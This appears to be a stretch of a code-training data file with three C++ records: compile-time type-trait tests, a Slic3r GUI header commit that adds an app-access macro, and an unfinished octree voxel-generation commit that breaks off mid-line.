gcl::mp::type_traits::tests::is_brace_constructible_v\n{\n    struct toto {\n        int i;\n    };\n    struct titi {\n        explicit titi(int) {}\n    };\n\n    static_assert(type_traits::is_brace_constructible_v<toto>);\n    static_assert(type_traits::is_brace_constructible_v<toto, int>);\n    static_assert(type_traits::is_brace_constructible_v<toto, char>);\n    static_assert(not type_traits::is_brace_constructible_v<toto, char*>);\n    static_assert(not type_traits::is_brace_constructible_v<titi>);\n    static_assert(type_traits::is_brace_constructible_v<titi, int>);\n    static_assert(type_traits::is_brace_constructible_v<titi, char>);\n    static_assert(not type_traits::is_brace_constructible_v<titi, char*>);\n}\nnamespace gcl::mp::type_traits::tests::if_t\n{\n    static_assert(std::is_same_v<type_traits::if_t<true>, std::true_type>);\n    static_assert(std::is_same_v<type_traits::if_t<false>, std::false_type>);\n    static_assert(type_traits::if_v<true> == true);\n    static_assert(type_traits::if_v<false> == false);\n}\n#if __cpp_concepts\n#include <concepts>\nnamespace gcl::mp::type_traits::tests::if_t\n{\n    \/\/ clang-format off\n    template <typename T>\n    concept is_red_colored = requires(T)\n    {\n        { T::color == decltype(T::color)::red } -> std::convertible_to<bool>;\n        { type_traits::if_t<T::color == decltype(T::color)::red>{}} -> std::same_as<std::true_type>;\n    };\n    enum colors { red, blue, green };\n    struct smthg_blue { constexpr static auto color = colors::blue; };\n    struct smthg_red { constexpr static auto color = colors::red; };\n    \/\/ clang-format on\n\n    static_assert(not is_red_colored<smthg_blue>);\n    static_assert(is_red_colored<smthg_red>);\n}\n#endif\nnamespace gcl::mp::type_traits::tests::trait_results\n{\n    template <typename T>\n    using is_int = std::is_same<int, T>;\n    using results = trait_result<is_int, char, int, bool>;\n\n    \/\/ static_assert(decltype(results::as_bitset_v){2UL} == results::as_bitset_v); \/\/ std::bitset::operator== is not cx\n    constexpr auto expected_result_as_bitset = decltype(results::as_bitset_v){2UL};\n    static_assert(expected_result_as_bitset[0] == results::as_bitset_v[0]);\n    static_assert(expected_result_as_bitset[1] == results::as_bitset_v[1]);\n    static_assert(expected_result_as_bitset[2] == results::as_bitset_v[2]);\n\n    using results_as_tuple = results::as_t<std::tuple>;\n    using results_as_tuple_value_type = std::decay_t<decltype(results::as_v<std::tuple>)>;\n    static_assert(std::tuple_size_v<results_as_tuple> == std::tuple_size_v<results_as_tuple_value_type>);\n\n    using expected_result_as_tuple = std::tuple<std::false_type, std::true_type, std::false_type>;\n    static_assert(std::is_same_v<results::as_t<std::tuple>, expected_result_as_tuple>);\n    static_assert(std::is_same_v<results::as_integer_sequence<int>, std::integer_sequence<int, 0, 1, 0>>);\n    static_assert(results::as_array_v == std::array{false, true, false});\n\n    template <typename... Ts>\n    struct type_pack {};\n    using results_as_type_pack = results::as_t<type_pack>;\n    using expected_result_as_type_pack = type_pack<std::false_type, std::true_type, std::false_type>;\n    static_assert(std::is_same_v<results_as_type_pack, expected_result_as_type_pack>);\n}\nnamespace gcl::mp::type_traits::tests::is_std_array\n{\n    static_assert(gcl::mp::type_traits::is_std_array_v<std::array<char, 3>>);\n    static_assert(not gcl::mp::type_traits::is_std_array_v<char[3]>);\n}<|endoftext|>"}
{"text":"<commit_before>#ifndef GUI_HPP\n#define GUI_HPP\n#include <wx\/toplevel.h>\n#include \"MainFrame.hpp\"\n#include \"Notifier.hpp\"\n#include <string>\n#include <vector>\n#include <stack>\n#include <mutex>\n\n\n#include \"Preset.hpp\"\n\nnamespace Slic3r { namespace GUI {\n\n\nclass App: public wxApp\n{\npublic:\n    virtual bool OnInit();\n    App() : wxApp() {}\n\n    \/\/\/ Save position, size, and maximize state for a TopLevelWindow (includes Frames) by name in Settings.\n    void save_window_pos(const wxTopLevelWindow* window, const wxString& name );\n\n    \/\/\/ Move\/resize a named TopLevelWindow (includes Frames) from Settings\n    void restore_window_pos(wxTopLevelWindow* window, const wxString& name );\n\n    \/\/\/ Function to add callback functions to the idle loop stack.\n    void CallAfter(std::function<void()> cb_function); \n\n\n    void OnUnhandledException() override;\n\nprivate:\n    std::unique_ptr<Notifier> notifier {nullptr};\n    std::vector<Presets> presets { preset_types, Presets() };\n\n    void load_presets();\n\n    wxString datadir {\"\"};\n    const std::string LogChannel {\"APP\"}; \/\/< Which log these messages should go to.\n\n    \/\/\/ Lock to guard the callback stack\n    std::mutex callback_register;\n    \n    \/\/\/ callbacks registered to run during idle event.\n    std::stack<std::function<void()> > cb {};\n};\n\n\n}} \/\/ namespace Slic3r::GUI\n#endif \/\/ GUI_HPP\n<commit_msg>Quick reference macro to GUI with the cast applied so access is available<commit_after>#ifndef GUI_HPP\n#define GUI_HPP\n#include <wx\/toplevel.h>\n#include \"MainFrame.hpp\"\n#include \"Notifier.hpp\"\n#include <string>\n#include <vector>\n#include <stack>\n#include <mutex>\n\n\n#include \"Preset.hpp\"\n\nnamespace Slic3r { namespace GUI {\n\n\nclass App: public wxApp\n{\npublic:\n    virtual bool OnInit();\n    App() : wxApp() {}\n\n    \/\/\/ Save position, size, and maximize state for a TopLevelWindow (includes Frames) by name in Settings.\n    void save_window_pos(const wxTopLevelWindow* window, const wxString& name );\n\n    \/\/\/ Move\/resize a named TopLevelWindow (includes Frames) from Settings\n    void restore_window_pos(wxTopLevelWindow* window, const wxString& name );\n\n    \/\/\/ Function to add callback functions to the idle loop stack.\n    void CallAfter(std::function<void()> cb_function); \n\n\n    void OnUnhandledException() override;\n\nprivate:\n    std::unique_ptr<Notifier> notifier {nullptr};\n    std::vector<Presets> presets { preset_types, Presets() };\n\n    void load_presets();\n\n    wxString datadir {\"\"};\n    const std::string LogChannel {\"APP\"}; \/\/< Which log these messages should go to.\n\n    \/\/\/ Lock to guard the callback stack\n    std::mutex callback_register;\n    \n    \/\/\/ callbacks registered to run during idle event.\n    std::stack<std::function<void()> > cb {};\n};\n\n\n\/\/\/ Quick reference to this app with its cast applied.\n#define SLIC3RAPP dynamic_cast<App*>(wxTheApp)\n\n\n}} \/\/ namespace Slic3r::GUI\n#endif \/\/ GUI_HPP\n<|endoftext|>"}
{"text":"<commit_before>#include \"map\/Octree.h\"\n\nOctree::Octree() {\n\n\t\/\/ initialize the first stack block\n\n\tfor (int i = 0; i < 0x8000; i++) {\n\t\tdescriptor_buffer[i] = 0;\n\t}\n}\n\n\nvoid Octree::Generate(char* data, sf::Vector3i dimensions) {\n\n\t\/\/ Launch the recursive generator at (0,0,0) as the first point\n\t\/\/ and the octree dimension as the initial block size\n\tstd::tuple<uint64_t, uint64_t> root_node = GenerationRecursion(data, dimensions, sf::Vector3i(0, 0, 0), OCT_DIM\/2);\n\n\t\/\/ ========= DEBUG ==============\n\tPrettyPrintUINT64(std::get<0>(root_node), &output_stream);\n\toutput_stream << \"    \" << OCT_DIM << \"    \" << counter++ << std::endl;\n\t\/\/ ==============================\n\t\n\t\/\/ ============= TEMP!!! ===================\n\tif (stack_pos - 1 > stack_pos) {\n\t\tglobal_pos -= stack_pos;\n\t\tstack_pos = 0x8000;\n\t}\n\telse {\n\t\tstack_pos -= 1;\n\t}\n\n\tmemcpy(&descriptor_buffer[stack_pos + global_pos], &std::get<0>(root_node), 1 * sizeof(uint64_t));\n\t\/\/ ========================================\n\n\tDumpLog(&output_stream, \"raw_output.txt\");\n\n}\n\n\/\/ Copy to stack enables the hybrid depth-breadth first tree by taking\n\/\/ a list of valid non-leaf child descriptors contained under a common parent.\n\n\/\/ It takes the list of children, and the current level in the voxel hierarchy.\n\/\/ It returns the index to the first element of the \n\n\/\/ This is all fine and dandy, but we have the problem where we need to assign\n\/\/ relative pointers to objects so we need to keep track of where their children are\n\/\/ being assigned.\n\nuint64_t Octree::copy_to_stack(std::vector<uint64_t> children, unsigned int voxel_scale) {\n\n\t\/\/ Check for the 15 bit boundry\t\t\n\tif (stack_pos - children.size() > stack_pos) {\n\t\tglobal_pos = stack_pos;\n\t\tstack_pos = 0x8000;\n\t}\n\telse {\n\t\tstack_pos -= children.size();\n\t}\n\n\t\/\/ Copy to stack needs to keep track of an \"anchor_stack\" which will hopefully facilitate\n\t\/\/ relative pointer generation for items being copied to the stack\n\n\t\/\/ We need to return the relative pointer to the child node list\n\t\/\/ 16 bits, one far bit, one sign bit? 14 bits == +- 16384\n\n\t\/\/ Worth halving the ptr reach to enable backwards ptrs?\n\t\/\/ could increase packability allowing far ptrs and attachments to come before or after\n\n\n\n\t\/\/stack_pos -= children.size();\n\tmemcpy(&descriptor_buffer[stack_pos + global_pos], children.data(), children.size() * sizeof(uint64_t));\n\n\t\/\/ Return the bitmask encoding the index of that value\n\t\/\/ If we tripped the far bit, allocate a far index to the stack and place\n\t\/\/ it at the bottom of the child_descriptor node level array\n\t\/\/ And then shift the far bit to 1\n\n\t\/\/ If not, shift the index to its correct place\n\treturn stack_pos;\n}\n\nbool Octree::get_voxel(sf::Vector3i position) {\n\n\t\/\/ Struct that holds the state necessary to continue the traversal from the found voxel\n\toct_state state;\n\n\t\/\/ push the root node to the parent stack\n\tuint64_t head = descriptor_buffer[root_index];\n\tstate.parent_stack[state.parent_stack_position] = head;\n\n\t\/\/ Set our initial dimension and the position at the corner of the oct to keep track of our position\n\tint dimension = OCT_DIM;\n\tsf::Vector3i quad_position(0, 0, 0);\n\n\t\/\/ While we are not at the required resolution\n\t\/\/\t\tTraverse down by setting the valid\/leaf mask to the subvoxel\n\t\/\/\t\tCheck to see if it is valid\n\t\/\/\t\t\tYes? \n\t\/\/\t\t\t\tCheck to see if it is a leaf\n\t\/\/\t\t\t\tNo? Break\n\t\/\/\t\t\t\tYes? Scale down to the next hierarchy, push the parent to the stack\n\t\/\/\t\t\n\t\/\/\t\t\tNo?\n\t\/\/\t\t\t\tBreak\n\twhile (dimension > 1) {\n\n\t\t\/\/ So we can be a little bit tricky here and increment our\n\t\t\/\/ array index that holds our masks as we build the idx. \n\t\t\/\/ Adding 1 for X, 2 for Y, and 4 for Z\n\t\tint mask_index = 0;\n\n\n\t\t\/\/ Do the logic steps to find which sub oct we step down into\n\t\tif (position.x >= (dimension \/ 2) + quad_position.x) {\n\n\t\t\t\/\/ Set our voxel position to the (0,0) of the correct oct\n\t\t\tquad_position.x += (dimension \/ 2);\n\n\t\t\t\/\/ increment the mask index and mentioned above\n\t\t\tmask_index += 1;\n\n\t\t\t\/\/ Set the idx to represent the move\n\t\t\tstate.idx_stack[state.scale] |= idx_set_x_mask;\n\n\t\t}\n\t\tif (position.y >= (dimension \/ 2) + quad_position.y) {\n\n\t\t\tquad_position.y |= (dimension \/ 2);\n\n\t\t\tmask_index += 2;\n\n\t\t\tstate.idx_stack[state.scale] ^= idx_set_y_mask;\n\n\t\t}\n\t\tif (position.z >= (dimension \/ 2) + quad_position.z) {\n\n\t\t\tquad_position.z += (dimension \/ 2);\n\n\t\t\tmask_index += 4;\n\n\t\t\tstate.idx_stack[state.scale] |= idx_set_z_mask;\n\n\t\t}\n\n\t\t\/\/ Check to see if we are on a valid oct\n\t\tif ((head >> 16) & mask_8[mask_index]) {\n\n\t\t\t\/\/ Check to see if it is a leaf\n\t\t\tif ((head >> 24) & mask_8[mask_index]) {\n\n\t\t\t\t\/\/ If it is, then we cannot traverse further as CP's won't have been generated\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\t\/\/ If all went well and we found a valid non-leaf oct then we will traverse further down the hierarchy\n\t\t\tstate.scale++;\n\t\t\tdimension \/= 2;\n\n\t\t\t\/\/ Count the number of valid octs that come before and add it to the index to get the position\n\t\t\t\/\/ Negate it by one as it counts itself\n\t\t\tint count = count_bits((uint8_t)(head >> 16) & count_mask_8[mask_index]) - 1;\n\n\t\t\t\/\/ access the element at which head points to and then add the specified number of indices\n\t\t\t\/\/ to get to the correct child descriptor\n\t\t\thead = descriptor_buffer[(head & child_pointer_mask) + count];\n\n\t\t\t\/\/ Increment the parent stack position and put the new oct node as the parent\n\t\t\tstate.parent_stack_position++;\n\t\t\tstate.parent_stack[state.parent_stack_position] = head;\n\n\t\t}\n\t\telse {\n\t\t\t\/\/ If the oct was not valid, then no CP's exists any further\n\t\t\t\/\/ This implicitly says that if it's non-valid then it must be a leaf!!\n\n\t\t\t\/\/ It appears that the traversal is now working but I need\n\t\t\t\/\/ to focus on how to now take care of the end condition.\n\t\t\t\/\/ Currently it adds the last parent on the second to lowest\n\t\t\t\/\/ oct CP. Not sure if thats correct\n\t\t\treturn false;\n\t\t}\n\t}\n\n\treturn true;\n}\n\nvoid Octree::print_block(int block_pos) {\n\n\tstd::stringstream sss;\n\tfor (int i = block_pos; i < (int)pow(2, 15); i++) {\n\t\tPrettyPrintUINT64(descriptor_buffer[i], &sss);\n\t\tsss << \"\\n\";\n\t}\n\tDumpLog(&sss, \"raw_data.txt\");\n\n}\n\nstd::tuple<uint64_t, uint64_t> Octree::GenerationRecursion(char* data, sf::Vector3i dimensions, sf::Vector3i pos, unsigned int voxel_scale) {\n\n\n\t\/\/ The 8 subvoxel coords starting from the 1th direction, the direction of the origin of the 3d grid\n\t\/\/ XY, Z++, XY\n\tstd::vector<sf::Vector3i> v = {\n\t\tsf::Vector3i(pos.x              , pos.y              , pos.z),\n\t\tsf::Vector3i(pos.x + voxel_scale, pos.y              , pos.z),\n\t\tsf::Vector3i(pos.x              , pos.y + voxel_scale, pos.z),\n\t\tsf::Vector3i(pos.x + voxel_scale, pos.y + voxel_scale, pos.z),\n\t\tsf::Vector3i(pos.x              , pos.y              , pos.z + voxel_scale),\n\t\tsf::Vector3i(pos.x + voxel_scale, pos.y              , pos.z + voxel_scale),\n\t\tsf::Vector3i(pos.x              , pos.y + voxel_scale, pos.z + voxel_scale),\n\t\tsf::Vector3i(pos.x + voxel_scale, pos.y + voxel_scale, pos.z + voxel_scale)\n\t};\n\n\t\/\/ A tuple holding the child descriptor that we're going to fill out and the\n\t\/\/ absolute position of it within the descriptor buffer\n\tstd::tuple<uint64_t, uint64_t> descriptor_and_position(0, 0);\n\n\t\/\/ If we hit the 1th voxel scale then we need to query the 3D grid\n\t\/\/ and get the voxel at that position. I assume in the future when I\n\t\/\/ want to do chunking \/ loading of raw data I can edit the voxel access\n\tif (voxel_scale == 1) {\n\t\t\n\t\t\/\/ Setting the individual valid mask bits\n\t\t\/\/ These don't bound check, should they?\n\t\tfor (int i = 0; i < v.size(); i++) {\n\t\t\tif (get1DIndexedVoxel(data, dimensions, v.at(i)))\n\t\t\t\tSetBit(i + 16, &std::get<0>(descriptor_and_position));\n\t\t}\n\n\t\t\/\/ We are querying leafs, so we need to fill the leaf mask\n\t\tstd::get<0>(descriptor_and_position) |= 0xFF000000;\n\n\t\t\/\/ The CP will be left blank, contour mask and ptr will need to \n\t\t\/\/ be added here later\n\t\treturn descriptor_and_position;\n\n\t}\n\n\tstd::vector<std::tuple<uint64_t, uint64_t>> descriptor_position_array;\n\n\t\/\/ Generate down the recursion, returning the descriptor of the current node\n\tfor (int i = 0; i < v.size(); i++) {\n\n\t\tstd::tuple<uint64_t, uint64_t> child(0, 0);\n\n\t\t\/\/ Get the child descriptor from the i'th to 8th subvoxel\n\t\tchild = GenerationRecursion(data, dimensions, v.at(i), voxel_scale \/ 2);\n\n\t\t\/\/ =========== Debug ===========\n\t\tPrettyPrintUINT64(std::get<0>(child), &output_stream);\n\t\toutput_stream << \"    \" << voxel_scale << \"    \" << counter++ << std::endl;\n\t\t\/\/ =============================\n\n\t\t\/\/ If the child is a leaf (contiguous) of non-valid values\n\t\tif (IsLeaf(std::get<0>(child)) && !CheckLeafSign(std::get<0>(child))) {\n\t\t\t\/\/ Leave the valid mask 0, set leaf mask to 1\n\t\t\tSetBit(i + 16 + 8, &std::get<0>(descriptor_and_position));\n\t\t}\n\n\t\t\/\/ If the child is valid and not a leaf\n\t\telse {\n\n\t\t\t\/\/ Set the valid mask, and add it to the descriptor array\n\t\t\tSetBit(i + 16, &std::get<0>(descriptor_and_position));\n\t\t\tdescriptor_position_array.push_back(child);\n\t\t}\n\t}\n\t\n\t\/\/ We are working bottom up so we need to subtract from the stack position\n\t\/\/ the amount of elements we want to use\n\n\n\tint worst_case_insertion_size = descriptor_position_array.size() * 2;\n\n\t\/\/ check to see if we exceeded this page header, if so set the header and move the global position\n\tif (page_header_counter - worst_case_insertion_size <= 0) {\n\t\t\n\t\t\/\/ Jump to the page headers position and reset the counter\n\t\tdescriptor_buffer_position -= 0x8000 - page_header_counter;\n\t\tpage_header_counter = 0x8000;\n\n\t\t\/\/ Fill the space with blank\n\t\tmemcpy(&descriptor_buffer[descriptor_buffer_position], &current_info_section_position, sizeof(uint64_t));\n\n\t\tdescriptor_buffer_position--;\n\n\t} \n\n\t\/\/ We gotta go backwards as memcpy of a vector can be emulated by starting from the rear\n\tfor (int i = descriptor_position_array.size() - 1; i >= 0; i--) {\n\t\t\n\t\tuint64_t relative_distance = std::get<1>(descriptor_position_array.at(i)) - descriptor_buffer_position;\n\n\t\t\/\/ check to see if the \n\t\tif (relative_distance > 0x8000) {\n\t\t\tmemcpy(&descriptor_buffer[descriptor_buffer_position], &std::get<1>(descriptor_position_array.at(i)), sizeof(uint64_t));\n\t\t\tdescriptor_buffer_position--;\n\t\t}\n\n\t\tmemcpy(&descriptor_buffer[descriptor_buffer_position], descriptor_position_array.at(i), descriptor_array.size() * sizeof(uint64_t));\n\n\t}\n\n\t\n\t\n\tif (stack_pos - descriptor_position_array.size() > stack_pos) {\n\t\tglobal_pos -= stack_pos;\n\t\tstack_pos = 0x8000;\n\t}\n\telse {\n\t\tstack_pos -= descriptor_position_array.size();\n\t}\n\n\n\n\n\tmemcpy(&descriptor_buffer[stack_pos + global_pos], descriptor_array.data(), descriptor_array.size() * sizeof(uint64_t));\n\n\n\n\n\t\/\/ Return the node up the stack\n\treturn descriptor_and_position;\n}\n\nchar Octree::get1DIndexedVoxel(char* data, sf::Vector3i dimensions, sf::Vector3i position) {\t\n\treturn data[position.x + OCT_DIM * (position.y + OCT_DIM * position.z)];\n}\n\n\n<commit_msg>First draft of the revised octree generation code<commit_after>#include \"map\/Octree.h\"\n\nOctree::Octree() {\n\n\t\/\/ initialize the first stack block\n\n\tfor (int i = 0; i < 0x8000; i++) {\n\t\tdescriptor_buffer[i] = 0;\n\t}\n}\n\n\nvoid Octree::Generate(char* data, sf::Vector3i dimensions) {\n\n\t\/\/ Launch the recursive generator at (0,0,0) as the first point\n\t\/\/ and the octree dimension as the initial block size\n\tstd::tuple<uint64_t, uint64_t> root_node = GenerationRecursion(data, dimensions, sf::Vector3i(0, 0, 0), OCT_DIM\/2);\n\n\t\/\/ ========= DEBUG ==============\n\tPrettyPrintUINT64(std::get<0>(root_node), &output_stream);\n\toutput_stream << \"    \" << OCT_DIM << \"    \" << counter++ << std::endl;\n\t\/\/ ==============================\n\t\n\t\/\/ ============= TEMP!!! ===================\n\tif (stack_pos - 1 > stack_pos) {\n\t\tglobal_pos -= stack_pos;\n\t\tstack_pos = 0x8000;\n\t}\n\telse {\n\t\tstack_pos -= 1;\n\t}\n\n\tmemcpy(&descriptor_buffer[stack_pos + global_pos], &std::get<0>(root_node), 1 * sizeof(uint64_t));\n\t\/\/ ========================================\n\n\tDumpLog(&output_stream, \"raw_output.txt\");\n\n}\n\n\/\/ Copy to stack enables the hybrid depth-breadth first tree by taking\n\/\/ a list of valid non-leaf child descriptors contained under a common parent.\n\n\/\/ It takes the list of children, and the current level in the voxel hierarchy.\n\/\/ It returns the index to the first element of the \n\n\/\/ This is all fine and dandy, but we have the problem where we need to assign\n\/\/ relative pointers to objects so we need to keep track of where their children are\n\/\/ being assigned.\n\nuint64_t Octree::copy_to_stack(std::vector<uint64_t> children, unsigned int voxel_scale) {\n\n\t\/\/ Check for the 15 bit boundry\t\t\n\tif (stack_pos - children.size() > stack_pos) {\n\t\tglobal_pos = stack_pos;\n\t\tstack_pos = 0x8000;\n\t}\n\telse {\n\t\tstack_pos -= children.size();\n\t}\n\n\t\/\/ Copy to stack needs to keep track of an \"anchor_stack\" which will hopefully facilitate\n\t\/\/ relative pointer generation for items being copied to the stack\n\n\t\/\/ We need to return the relative pointer to the child node list\n\t\/\/ 16 bits, one far bit, one sign bit? 14 bits == +- 16384\n\n\t\/\/ Worth halving the ptr reach to enable backwards ptrs?\n\t\/\/ could increase packability allowing far ptrs and attachments to come before or after\n\n\n\n\t\/\/stack_pos -= children.size();\n\tmemcpy(&descriptor_buffer[stack_pos + global_pos], children.data(), children.size() * sizeof(uint64_t));\n\n\t\/\/ Return the bitmask encoding the index of that value\n\t\/\/ If we tripped the far bit, allocate a far index to the stack and place\n\t\/\/ it at the bottom of the child_descriptor node level array\n\t\/\/ And then shift the far bit to 1\n\n\t\/\/ If not, shift the index to its correct place\n\treturn stack_pos;\n}\n\nbool Octree::get_voxel(sf::Vector3i position) {\n\n\t\/\/ Struct that holds the state necessary to continue the traversal from the found voxel\n\toct_state state;\n\n\t\/\/ push the root node to the parent stack\n\tuint64_t head = descriptor_buffer[root_index];\n\tstate.parent_stack[state.parent_stack_position] = head;\n\n\t\/\/ Set our initial dimension and the position at the corner of the oct to keep track of our position\n\tint dimension = OCT_DIM;\n\tsf::Vector3i quad_position(0, 0, 0);\n\n\t\/\/ While we are not at the required resolution\n\t\/\/\t\tTraverse down by setting the valid\/leaf mask to the subvoxel\n\t\/\/\t\tCheck to see if it is valid\n\t\/\/\t\t\tYes? \n\t\/\/\t\t\t\tCheck to see if it is a leaf\n\t\/\/\t\t\t\tNo? Break\n\t\/\/\t\t\t\tYes? Scale down to the next hierarchy, push the parent to the stack\n\t\/\/\t\t\n\t\/\/\t\t\tNo?\n\t\/\/\t\t\t\tBreak\n\twhile (dimension > 1) {\n\n\t\t\/\/ So we can be a little bit tricky here and increment our\n\t\t\/\/ array index that holds our masks as we build the idx. \n\t\t\/\/ Adding 1 for X, 2 for Y, and 4 for Z\n\t\tint mask_index = 0;\n\n\n\t\t\/\/ Do the logic steps to find which sub oct we step down into\n\t\tif (position.x >= (dimension \/ 2) + quad_position.x) {\n\n\t\t\t\/\/ Set our voxel position to the (0,0) of the correct oct\n\t\t\tquad_position.x += (dimension \/ 2);\n\n\t\t\t\/\/ increment the mask index and mentioned above\n\t\t\tmask_index += 1;\n\n\t\t\t\/\/ Set the idx to represent the move\n\t\t\tstate.idx_stack[state.scale] |= idx_set_x_mask;\n\n\t\t}\n\t\tif (position.y >= (dimension \/ 2) + quad_position.y) {\n\n\t\t\tquad_position.y |= (dimension \/ 2);\n\n\t\t\tmask_index += 2;\n\n\t\t\tstate.idx_stack[state.scale] ^= idx_set_y_mask;\n\n\t\t}\n\t\tif (position.z >= (dimension \/ 2) + quad_position.z) {\n\n\t\t\tquad_position.z += (dimension \/ 2);\n\n\t\t\tmask_index += 4;\n\n\t\t\tstate.idx_stack[state.scale] |= idx_set_z_mask;\n\n\t\t}\n\n\t\t\/\/ Check to see if we are on a valid oct\n\t\tif ((head >> 16) & mask_8[mask_index]) {\n\n\t\t\t\/\/ Check to see if it is a leaf\n\t\t\tif ((head >> 24) & mask_8[mask_index]) {\n\n\t\t\t\t\/\/ If it is, then we cannot traverse further as CP's won't have been generated\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\t\/\/ If all went well and we found a valid non-leaf oct then we will traverse further down the hierarchy\n\t\t\tstate.scale++;\n\t\t\tdimension \/= 2;\n\n\t\t\t\/\/ Count the number of valid octs that come before and add it to the index to get the position\n\t\t\t\/\/ Negate it by one as it counts itself\n\t\t\tint count = count_bits((uint8_t)(head >> 16) & count_mask_8[mask_index]) - 1;\n\n\t\t\t\/\/ access the element at which head points to and then add the specified number of indices\n\t\t\t\/\/ to get to the correct child descriptor\n\t\t\thead = descriptor_buffer[(head & child_pointer_mask) + count];\n\n\t\t\t\/\/ Increment the parent stack position and put the new oct node as the parent\n\t\t\tstate.parent_stack_position++;\n\t\t\tstate.parent_stack[state.parent_stack_position] = head;\n\n\t\t}\n\t\telse {\n\t\t\t\/\/ If the oct was not valid, then no CP's exists any further\n\t\t\t\/\/ This implicitly says that if it's non-valid then it must be a leaf!!\n\n\t\t\t\/\/ It appears that the traversal is now working but I need\n\t\t\t\/\/ to focus on how to now take care of the end condition.\n\t\t\t\/\/ Currently it adds the last parent on the second to lowest\n\t\t\t\/\/ oct CP. Not sure if thats correct\n\t\t\treturn false;\n\t\t}\n\t}\n\n\treturn true;\n}\n\nvoid Octree::print_block(int block_pos) {\n\n\tstd::stringstream sss;\n\tfor (int i = block_pos; i < (int)pow(2, 15); i++) {\n\t\tPrettyPrintUINT64(descriptor_buffer[i], &sss);\n\t\tsss << \"\\n\";\n\t}\n\tDumpLog(&sss, \"raw_data.txt\");\n\n}\n\nstd::tuple<uint64_t, uint64_t> Octree::GenerationRecursion(char* data, sf::Vector3i dimensions, sf::Vector3i pos, unsigned int voxel_scale) {\n\n\n\t\/\/ The 8 subvoxel coords starting from the 1th direction, the direction of the origin of the 3d grid\n\t\/\/ XY, Z++, XY\n\tstd::vector<sf::Vector3i> v = {\n\t\tsf::Vector3i(pos.x              , pos.y              , pos.z),\n\t\tsf::Vector3i(pos.x + voxel_scale, pos.y              , pos.z),\n\t\tsf::Vector3i(pos.x              , pos.y + voxel_scale, pos.z),\n\t\tsf::Vector3i(pos.x + voxel_scale, pos.y + voxel_scale, pos.z),\n\t\tsf::Vector3i(pos.x              , pos.y              , pos.z + voxel_scale),\n\t\tsf::Vector3i(pos.x + voxel_scale, pos.y              , pos.z + voxel_scale),\n\t\tsf::Vector3i(pos.x              , pos.y + voxel_scale, pos.z + voxel_scale),\n\t\tsf::Vector3i(pos.x + voxel_scale, pos.y + voxel_scale, pos.z + voxel_scale)\n\t};\n\n\t\/\/ A tuple holding the child descriptor that we're going to fill out and the\n\t\/\/ absolute position of it within the descriptor buffer\n\tstd::tuple<uint64_t, uint64_t> descriptor_and_position(0, 0);\n\n\t\/\/ If we hit the 1th voxel scale then we need to query the 3D grid\n\t\/\/ and get the voxel at that position. I assume in the future when I\n\t\/\/ want to do chunking \/ loading of raw data I can edit the voxel access\n\tif (voxel_scale == 1) {\n\t\t\n\t\t\/\/ Setting the individual valid mask bits\n\t\t\/\/ These don't bound check, should they?\n\t\tfor (int i = 0; i < v.size(); i++) {\n\t\t\tif (get1DIndexedVoxel(data, dimensions, v.at(i)))\n\t\t\t\tSetBit(i + 16, &std::get<0>(descriptor_and_position));\n\t\t}\n\n\t\t\/\/ We are querying leafs, so we need to fill the leaf mask\n\t\tstd::get<0>(descriptor_and_position) |= 0xFF000000;\n\n\t\t\/\/ The CP will be left blank, contour mask and ptr will need to \n\t\t\/\/ be added here later\n\t\treturn descriptor_and_position;\n\n\t}\n\n\tstd::vector<std::tuple<uint64_t, uint64_t>> descriptor_position_array;\n\n\t\/\/ Generate down the recursion, returning the descriptor of the current node\n\tfor (int i = 0; i < v.size(); i++) {\n\n\t\tstd::tuple<uint64_t, uint64_t> child(0, 0);\n\n\t\t\/\/ Get the child descriptor from the i'th to 8th subvoxel\n\t\tchild = GenerationRecursion(data, dimensions, v.at(i), voxel_scale \/ 2);\n\n\t\t\/\/ =========== Debug ===========\n\t\tPrettyPrintUINT64(std::get<0>(child), &output_stream);\n\t\toutput_stream << \"    \" << voxel_scale << \"    \" << counter++ << std::endl;\n\t\t\/\/ =============================\n\n\t\t\/\/ If the child is a leaf (contiguous) of non-valid values\n\t\tif (IsLeaf(std::get<0>(child)) && !CheckLeafSign(std::get<0>(child))) {\n\t\t\t\/\/ Leave the valid mask 0, set leaf mask to 1\n\t\t\tSetBit(i + 16 + 8, &std::get<0>(descriptor_and_position));\n\t\t}\n\n\t\t\/\/ If the child is valid and not a leaf\n\t\telse {\n\n\t\t\t\/\/ Set the valid mask, and add it to the descriptor array\n\t\t\tSetBit(i + 16, &std::get<0>(descriptor_and_position));\n\t\t\tdescriptor_position_array.push_back(child);\n\t\t}\n\t}\n\t\n\t\/\/ We are working bottom up so we need to subtract from the stack position\n\t\/\/ the amount of elements we want to use\n\t\n\tint worst_case_insertion_size = descriptor_position_array.size() * 2;\n\n\t\/\/ check to see if we exceeded this page header, if so set the header and move the global position\n\tif (page_header_counter - worst_case_insertion_size <= 0) {\n\t\t\n\t\t\/\/ Jump to the page headers position and reset the counter\n\t\tdescriptor_buffer_position -= 0x8000 - page_header_counter;\n\t\tpage_header_counter = 0x8000;\n\n\t\t\/\/ Fill the space with blank\n\t\tmemcpy(&descriptor_buffer[descriptor_buffer_position], &current_info_section_position, sizeof(uint64_t));\n\n\t\tdescriptor_buffer_position--;\n\n\t} \n\n\tunsigned int far_pointer_count = 0;\n\tuint64_t far_pointer_block_position = descriptor_buffer_position;\n\n\t\/\/ Count the far pointers we need to allocate \n\tfor (int i = descriptor_position_array.size() - 1; i >= 0; i--) {\n\t\n\t\t\/\/ this is not the actual relative distance write, so we pessimistically guess that we will have\n\t\t\/\/ the worst relative distance via the insertion size\n\t\tuint64_t relative_distance = std::get<1>(descriptor_position_array.at(i)) - (descriptor_buffer_position - worst_case_insertion_size);\n\n\t\t\/\/ check to see if we tripped the far pointer\n\t\tif (relative_distance > 0x8000) {\n\n\t\t\t\/\/ This is writing the ABSOLUTE POSITION for far pointers, is this what I want?\n\t\t\tmemcpy(&descriptor_buffer[descriptor_buffer_position], &std::get<1>(descriptor_position_array.at(i)), sizeof(uint64_t));\n\t\t\tdescriptor_buffer_position--;\n\n\t\t\tfar_pointer_count++;\n\t\t}\n\t}\n\n\t\/\/ We gotta go backwards as memcpy of a vector can be emulated by starting from the rear\n\tfor (int i = descriptor_position_array.size() - 1; i >= 0; i--) {\n\t\t\n\t\t\/\/ just gonna redo the far pointer check loosing a couple of cycles but oh well\n\t\tuint64_t relative_distance = std::get<1>(descriptor_position_array.at(i)) - descriptor_buffer_position;\n\n\t\tuint64_t descriptor = 